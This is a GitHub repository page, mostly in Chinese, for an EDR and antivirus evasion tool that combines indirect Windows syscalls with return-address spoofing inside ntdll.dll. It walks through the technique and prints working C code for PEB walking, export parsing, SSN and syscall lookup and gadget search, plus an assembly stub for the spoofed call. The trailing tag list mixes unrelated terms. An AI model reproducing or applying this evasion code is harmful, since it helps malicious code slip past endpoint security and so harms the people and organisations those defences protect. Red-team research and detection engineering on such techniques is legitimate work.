SilentisVox/DoomSyscalls

GitHub: SilentisVox/DoomSyscalls

一款结合间接系统调用与返回地址伪造的 EDR 规避工具,通过动态解析 SSN 并在 ntdll 内伪造 RIP 实现用户态 Hook 和内核级返回地址检查的双重绕过。

Stars: 66 | Forks: 11


Destroying EDRs & AVs
# DoomSyscalls DoomSyscalls 是一种执行干净间接 syscall 的新方法。 其首要组件是动态解析**系统服务号**(SSN)以及 `syscall` 指令地址。 次要组件是通过 `ntdll.dll` 内的地址进行 **RIP** 伪造。 这两者的结合应当能够绕过任何用户态 Hook 和内核级检查。 **免责声明**:本项目的目的仅限于教育和测试。 请勿在未获授权的机器上使用此项目。 请勿利用此项目与未获授权的机器进行交互或渗透。 ###### 特别感谢 https://github.com/WaffleSec ## 前言。 间接 syscall 是一种执行 syscall 以绕过**端点检测与响应**(EDR)的方法。 EDR 会 Hook `ntdll.dll` 以在 syscall 执行前检查相关元素。 这种方法被研究人员和红队成员广泛使用。 在大多数情况下,从用户角度来看,这可以绕过执行前的任何检查。 某些 EDR 运行在内核级别; 如果此类安全解决方案检查返回地址,并且发现它位于 `ntdll.dll` 之外,这就表明存在篡改行为。 为了最大程度减少被检测到的几率,用户可以手工构造一个看起来像是来自可信内存的函数调用。 本文将作为我记录绕过 AV 和 EDR 的研究与文档; 此方法将与 Windows x64 的标准操作流程保持一致。 ## 工作原理。 构建一个手动 syscall 存根将分为两部分。 首先,我们将从 `ntdll.dll` 中查找导出函数。 我们将解析导出数据,以获取所需的 SSN 和 `syscall` 地址。 其次,我们将解析导出的函数,但这一次是为了查找特定的指令序列。 这些指令将是 `ADD RSP, 0xXX; RET`。 我们将保存该地址,并将其压入栈顶作为返回地址。 这不仅绕过了用户态 Hook,还将返回地址伪装成了一个安全的地址。 每个**动态链接库**(DLL)都带有导出信息。 通过这些导出信息,我们可以找到诸如 `NumberOfNames`、`ArrayOfNames`、`ArrayOfNameOrdinals` 和 `ArrayOfFunctions` 等内容。 名称的索引与序号的索引相关联。 该序号又与 DLL 内的函数地址相关联。 通过计算所需函数的地址,我们可以检查每个字节以找到 SSN 和 `syscall` 地址。 这将用于在进行 syscall 跳转前进行手动存根操作。 至于栈操作和返回,我们将在随机函数中搜索相似的指令。 如果找到了合适的指令(向栈指针添加了 0x58 或更大的值),它将被用作我们的伪造返回地址。 在伪造之前,我们将从栈指针中减去相应的数量,并将所有参数复制到新的栈位置。 最后,压入伪造的返回地址,即可完成一个干净的间接 syscall。 ## 示例。
Breakpoint set in x64dbg




每个 syscall 都是动态解析的。 对于每次 syscall,都会在 `ntdll.dll` 中找到一个唯一的返回地址。 它会从栈指针中减去一个大于等于 0x58 的数值,然后立即返回。 在观察其执行过程时,我们可以看到所有的 syscall 都已被解析。 每个 SSN 和 `syscall` 指令的地址都已被保存。 一个唯一的返回地址被获取并保存。 在调用我们的“科学怪人”存根时,我们会调整栈指针为我们捕获到的大小。 然后我们将所有参数复制到新的栈区域中。 执行手动存根 `mov r10, rcx; mov eax, [rel ssn]`。 最后,跳转到 `syscall` 指令。 一切准备就绪后,我们将执行权移交给内核。 我们会在 `ret` 处重新开始执行,并降落到我们唯一的“着陆点”。 获取到的值将从栈指针中被减去。 最后,执行 `ret`,此时 RIP 将返回到我们的代码中。
Continuing execution


## 技术细节。 ###### 导出解析。 ``` // The segment register (GS) contains a pointer the the TEB. // At the 0x60 byte offset contains a pointer to the PEB. ULONG_PTR GET_NTDLL() { ULONG_PTR pPEB = __readgsqword(0x60); ULONG_PTR pLdrData = *(ULONG_PTR *) (pPEB + 0x18); ULONG_PTR pMdlList = *(ULONG_PTR *) (pLdrData + 0x30); ULONG_PTR pModule = *(ULONG_PTR *) (pMdlList + 0x10); return pModule; } // From the base address, the 0x3C offset contains the offset to the NT Headers // From the NT Headers, the 0x88 offset contains the offset to the Export Directory. VOID INIT_NTDLL_CONFIG() { ULONG_PTR pNtdll = GET_NTDLL(); ULONG_PTR pNtHdr = (pNtdll + *(ULONG *) (pNtdll + 0x3C)); ULONG_PTR pExpDir = (pNtdll + *(ULONG *) (pNtHdr + 0x88)); NTDLL_CONFIG.pModule = pNtdll; NTDLL_CONFIG.NumberOfNames = *(ULONG *) (pExpDir + 0x18); NTDLL_CONFIG.ArrayOfAddresses = (pNtdll + *(ULONG *) (pExpDir + 0x1C)); NTDLL_CONFIG.ArrayOfNames = (pNtdll + *(ULONG *) (pExpDir + 0x20)); NTDLL_CONFIG.ArrayOfOrdinals = (pNtdll + *(ULONG *) (pExpDir + 0x24)); } ``` ###### 定位 SSN 和 syscall。 ``` // Parsing over every name to compare it to a given hash. // Once a hash matches, that index reflects an ordinal. // That ordinal reflects the address to a function. // Parsing over the function bytes, find the SSN and syscall address. VOID GET_NTDLL_FUN(ULONG SymbolHash, PNTDLL_FUNCTION SymbolData) { if (!NTDLL_CONFIG.pModule) INIT_NTDLL_CONFIG(); for (UINT index = 0; index != NTDLL_CONFIG.NumberOfNames; index++) { PCHAR SymbolName = (PCHAR) (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfNames + (index * 4))); if (ROR7_32(SymbolName) != SymbolHash) continue; USHORT SLOT = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + (index * 2)); SymbolData->SyscallStub = (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4))); break; } for (UINT index = 0; index != 255; index++) { if ((*(ULONG *) (SymbolData->SyscallStub + index) & 0xFF0000FF) != 0x000000B8) continue; SymbolData->SystemServiceNumber = *(ULONG *) (SymbolData->SyscallStub + index + 1); break; } for (UINT index = 0; index != 255; index++) { if (*(USHORT *) (SymbolData->SyscallStub + index) != 0x050f) continue; SymbolData->SyscallInstruction = SymbolData->SyscallStub + index; break; } for (UINT index = 0, start = 0, random = rand() % NTDLL_CONFIG.NumberOfNames; index < NTDLL_CONFIG.NumberOfNames; index++, start++) { if ((start + random) == NTDLL_CONFIG.NumberOfNames) start = 0 - random; USHORT SLOT = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + ((start + random) * 2)); ULONG_PTR START = (NTDLL_CONFIG.pModule + *(ULONG*) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4))); ULONG_PTR RETURN; CHAR AMOUNT; if (!IDEAL(START, &RETURN, &AMOUNT)) { continue; } SymbolData->Landing = RETURN; SymbolData->Size = AMOUNT; break; } } ``` ###### 定位虚假返回地址。 ``` // Parse over any given function, if there contains an ideal setup, return. BOOL IDEAL(ULONG_PTR START, ULONG_PTR *RETURN, CHAR *SIZE) { for (UINT index = 0; index < 255; index++) { ULONG_PTR SEARCH = *(ULONG_PTR *) (START + index); CHAR AMOUNT = *(CHAR *) (START + index + 3); if ( (((SEARCH & 0x000000FF00FFFFFF) == 0x000000C300C48348) || ((SEARCH & 0xFFFFFFFF00FFFFFF) == 0xC300000000C48148)) && (AMOUNT >= 0x58) ) { *RETURN = START + index; *SIZE = AMOUNT; return TRUE; } } return FALSE; } ``` ###### 存根处理。 ``` RUN_SYSCALL: ; ADJUST STACK MOV AL, BYTE [REL STACK_SIZE] SUB RSP, RAX ; SPOOF RETURN MOV RAX, QWORD [REL DUMMY_RETURN] PUSH RAX ; COPY PARAMS ... STUB: ; MANUAL STUB MOV R10, RCX MOV EAX, DWORD [REL SYSTEM_SERVICE_NUMBER] JMP QWORD [REL SYSCALL_ADDRESS] ``` ## 参考。 - 原版 HellsGate https://github.com/am0nsec/HellsGate/tree/master - 原版 HalosGate https://blog.sektor7.net/#!res/2021/halosgate.md - DLL 代理 https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing
标签:Awesome列表, C/C++, Chrome扩展, Conpot, DNS 反向解析, DNS 解析, EDR绕过, Hook规避, ntdll.dll, RIP伪造, SSN解析, Windows安全, x64汇编, 中高交互蜜罐, 事务性I/O, 云资产清单, 免杀技术, 内核对抗, 安全AI, 客户端加密, 快速连接, 恶意软件开发, 数据展示, 暴力破解检测, 汇编语言, 系统底层, 红队, 绕过AV, 绕过EDR, 网络安全, 返回地址伪造, 逆向工程, 间接系统调用, 隐私保护, 高交互蜜罐